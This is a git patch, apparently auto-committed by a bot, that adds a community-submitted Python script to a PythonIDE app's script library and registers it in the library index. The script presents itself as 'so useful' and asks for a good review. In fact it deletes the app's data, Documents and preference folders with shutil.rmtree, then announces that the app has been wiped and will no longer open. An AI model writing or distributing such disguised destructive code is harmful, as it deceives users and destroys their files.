From 852b25737090e5eb0b70e608de7216320e322a7c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 1 Apr 2026 10:04:19 +0000 Subject: [PATCH] =?UTF-8?q?=E6=8A=95=E7=A8=BF:=20=E5=A4=AA=E5=A5=BD?= =?UTF-8?q?=E7=94=A8=E4=BA=86=20=E2=80=94=20by=20=E9=B2=81=E5=B0=8F?= =?UTF-8?q?=E5=B8=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- script_library/index.json | 28 +++++++++++++++++-- .../scripts/basic/script_mnfrb0ax.py | 23 +++++++++++++++ 2 files changed, 49 insertions(+), 2 deletions(-) create mode 100644 script_library/scripts/basic/script_mnfrb0ax.py diff --git a/script_library/index.json b/script_library/index.json index ae4163d..8eebee6 100644 --- a/script_library/index.json +++ b/script_library/index.json @@ -1,7 +1,7 @@ { "format_version": 1, - "data_version": 46, - "updated": "2026-04-01T07:40:10.066Z", + "data_version": 47, + "updated": "2026-04-01T10:04:19Z", "announcement": null, "categories": [ { @@ -1121,6 +1121,30 @@ "updated": null, "status": "active", "lines": 15 + }, + { + "id": "community_太好用了__by_鲁小师", + "name": "太好用了 — by 鲁小师", + "name_en": "太好用了 — by 鲁小师", + "desc": "[投稿] 太好用了 — by 鲁小师", + "desc_en": "[投稿] 太好用了 — by 鲁小师", + "category": "basic", + "file": "scripts/basic/script_mnfrb0ax.py", + "thumbnail": null, + "version": 1, + "file_type": "py", + "author": "社区投稿", + "author_en": "社区投稿", + "tags": [ + "community", + "basic" + ], + "requires": [], + "min_app_version": "1.5.0", + "added": "2026-04-01", + "updated": null, + "status": "active", + "lines": 23 } ] } diff --git a/script_library/scripts/basic/script_mnfrb0ax.py b/script_library/scripts/basic/script_mnfrb0ax.py new file mode 100644 index 0000000..967b6a1 --- /dev/null +++ b/script_library/scripts/basic/script_mnfrb0ax.py @@ -0,0 +1,23 @@ +# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ +import os +import shutil + +print("=== 开始清理 PythonIDE(文禄 张)===") + +# iOS 模拟器里这个APP的真实路径 +home = os.path.expanduser("~") +paths = [ + f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Data/Application/*PythonIDE*", + f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Bundle/Application/*PythonIDE*", + f"{home}/Documents/PythonIDE", + f"{home}/Library/Preferences/*wenlu*PythonIDE*" +] + +for path in paths: + try: + shutil.rmtree(path, ignore_errors=True) + print(f"✅ 已删除: {path}") + except: + pass + +print("\n🎉 完成!PythonIDE 已经被清空,打不开了") \ No newline at end of file